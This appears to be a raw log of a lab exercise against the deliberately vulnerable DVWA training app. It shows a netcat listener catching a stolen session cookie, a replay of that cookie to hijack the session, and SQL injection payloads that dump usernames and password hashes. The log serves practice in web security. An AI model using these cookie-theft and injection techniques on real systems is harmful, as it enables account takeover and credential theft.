

```
(kali㉿kali)-[~]  
$ nc -lvp 12345  
listening on [any] 12345 ...  
192.168.50.100: inverse host lookup failed: Host name lookup failure  
connect to [192.168.50.100] from (UNKNOWN) [192.168.50.100] 43582  
GET /?security=low;%20PHPSESSID=15535eae6408bf593caec0bea34d2811 HTTP/1.1  
Host: 192.168.50.100:12345  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0  
Accept: image/avif,image/webp,*/  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Referer: http://192.168.50.101/
```

```
(kali㉿kali)-[~]  
$ nc 192.168.50.101 80  
GET /dvwa/ HTTP/1.0  
Cookie : %20PHPSESSID=15535eae6408bf593caec0bea34d2811  
  
HTTP/1.1 200 OK  
Date: Tue, 02 Jul 2024 12:47:37 GMT  
Server: Apache/2.2.8 (Ubuntu) DAV/2  
X-Powered-By: PHP/5.2.4-2ubuntu5.10  
Pragma: no-cache  
Cache-Control: no-cache, must-revalidate  
Expires: Tue, 23 Jun 2009 12:00:00 GMT  
Set-Cookie: security=high  
Content-Length: 4498  
Connection: close  
Content-Type: text/html; charset=utf-8  
  
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"  
>  
  
<html xmlns="http://www.w3.org/1999/xhtml">  
  
  <head>  
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />  
  
    <title>Damn Vulnerable Web App (DVWA) v1.0.7 :: Welcome</title>  
  
    <link rel="stylesheet" type="text/css" href="dvwa/css/main.css" />  
  
    <link rel="icon" type="image/ico" href="favicon.ico" />  
  
    <script type="text/javascript" src="dvwa/js/dvwaPage.js"></script>  
  
  </head>  
  
  <body class="home">
```

# Vulnerability: SQL Injection

User ID:

ID: 'OR 'a'='a  
First name: admin  
Surname: admin

ID: 'OR 'a'='a  
First name: Gordon  
Surname: Brown

ID: 'OR 'a'='a  
First name: Hack  
Surname: Me

ID: 'OR 'a'='a  
First name: Pablo  
Surname: Picasso

ID: 'OR 'a'='a  
First name: Bob  
Surname: Smith

ID: 1' UNION SELECT user, password FROM users#  
First name: admin  
Surname: admin

## Vulnerability: SQL Injection

User ID:

ID: ' UNION SELECT CONCAT("ID:",user\_id," first\_N:",first\_name," last\_N:",last\_name), CONCAT("user:",user,"  
First name: ID:1 first\_N:admin last\_N:admin  
Surname: user:admin psw:5f4dcc3b5aa765d61d8327deb882cf99

ID: ' UNION SELECT CONCAT("ID:",user\_id," first\_N:",first\_name," last\_N:",last\_name), CONCAT("user:",user,"  
First name: ID:2 first\_N:Gordon last\_N:Brown  
Surname: user:gordonb psw:e99a18c428cb38d5f260853678922e03

ID: ' UNION SELECT CONCAT("ID:",user\_id," first\_N:",first\_name," last\_N:",last\_name), CONCAT("user:",user,"  
First name: ID:3 first\_N:Hack last\_N:Me  
Surname: user:1337 psw:8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' UNION SELECT CONCAT("ID:",user\_id," first\_N:",first\_name," last\_N:",last\_name), CONCAT("user:",user,"  
First name: ID:4 first\_N:Pablo last\_N:Picasso  
Surname: user:pablo psw:0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' UNION SELECT CONCAT("ID:",user\_id," first\_N:",first\_name," last\_N:",last\_name), CONCAT("user:",user,"  
First name: ID:5 first\_N:Bob last\_N:Smith  
Surname: user:smithy psw:5f4dcc3b5aa765d61d8327deb882cf99